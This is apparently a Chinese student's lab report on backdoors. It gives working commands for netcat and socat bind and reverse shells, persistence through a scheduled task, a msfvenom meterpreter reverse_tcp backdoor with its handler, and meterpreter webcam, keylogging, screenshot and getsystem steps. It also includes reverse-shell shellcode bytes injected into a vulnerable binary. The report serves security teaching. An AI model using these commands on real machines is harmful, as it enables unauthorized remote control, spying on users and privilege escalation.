20192402白胤廷实验二 后门原理与实践——实验报告
一、实验内容
1.使用netcat获取主机操作Shell,cron启动
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
二、实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
首先我们将从码云上下载的necat压缩包并解压缩necat。然后将necat解压缩在桌面,做好准备工作。
接着我们打开cmd通过ipconfig查看windows下的IP地址
然后我们在windows上的ncat目录中启用necat的指令ncat.exe -l -p 5313打开本地的监听端口,让kal通过nc 192.168.11.85 5313 -e /bin/sh连进来,然后获得kali的操作shell。
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
socat是ncat的增强版,它使用的格式是socat [options],其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
打开“计算机管理”, 在“任务计划程序”中“创建任务”
填写任务名—>新建一个触发器
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5301 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5301,同时把cmd.exe的stderr重定向到stdout上:
在Kali环境下输入指令socat - tcp:192.168.43.138:5301,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5301端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
生成20192402backdoor.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.138 LPORT=5301 -f exe > 20192402backdoor.exe
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口
-f 生成文件的类型
输出到哪个文件
在Windows下执行ncat -l 5301 > 20192402backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat -lv 5301 > 20192402backdoor.exe指令,通过-lv选项看到当前的连接状态。
在Linux中执行nc 192.168.43.138 5301 < 20192402backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP。
传送接收文件成功,如下图所示
MSF打开监听进程
输入msfconsole后进行如下操作:
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.43.138,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5301,同样要使用相同的端口
设置完成后,开始监听
运行Windows下的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用webcam_snap指令可以使用摄像头进行拍照
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
使用screenshot指令可以进行截屏,效果如下:
先使用getuid指令查看当前用户,使用getsystem指令进行提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在官网上下载下述文件
Linux/x64 - Reverse (127.1.1.1:4444/TCP) Shell (/bin/sh) Shellcode (123 Bytes)
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址
0xffffd1ec+4=0xffffd3f0
修改并生成input文件
perl -e 'print "A" x 32;print"\xf0\xd1\xff\xff\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode
然后在另一个终端中打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据你的shellcode来的
show options
exploit
在原终端输入(cat input;cat) | ./pwn1运行pwn1并回车,另一边就可以得到shell了
这时在msf控制台可以看到已经成功调取了shell
实验收获与感想
在做任务五的时候做了三次,总是不显示[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47146) at 2021-03-25 20:33:33 +0800这一行,做到第三遍的时候发现竟然是在另一个终端少敲了一次回车程序没有运行。
总体来说实验还是十分成功的,也让我十分后怕,一个后门程序竟然有这么多的功能,包括麦克风摄像头都可以被调用。
问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
答:下载的软件捆绑着恶意软件,软件安装后后门程序同时进入系统。
例举你知道的后门如何启动起来(win及linux)的方式?
答:Windows:设置为开机自启动
Linux:对正常软件注入shellcode
Meterpreter有哪些给你映像深刻的功能?
答:在植入后门后,可以控制主机的执行指令,包括录音、录像、截图、键盘输入记录等。
如何发现自己有系统有没有被安装后门?
答:安装杀毒安全软件,定期查杀。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律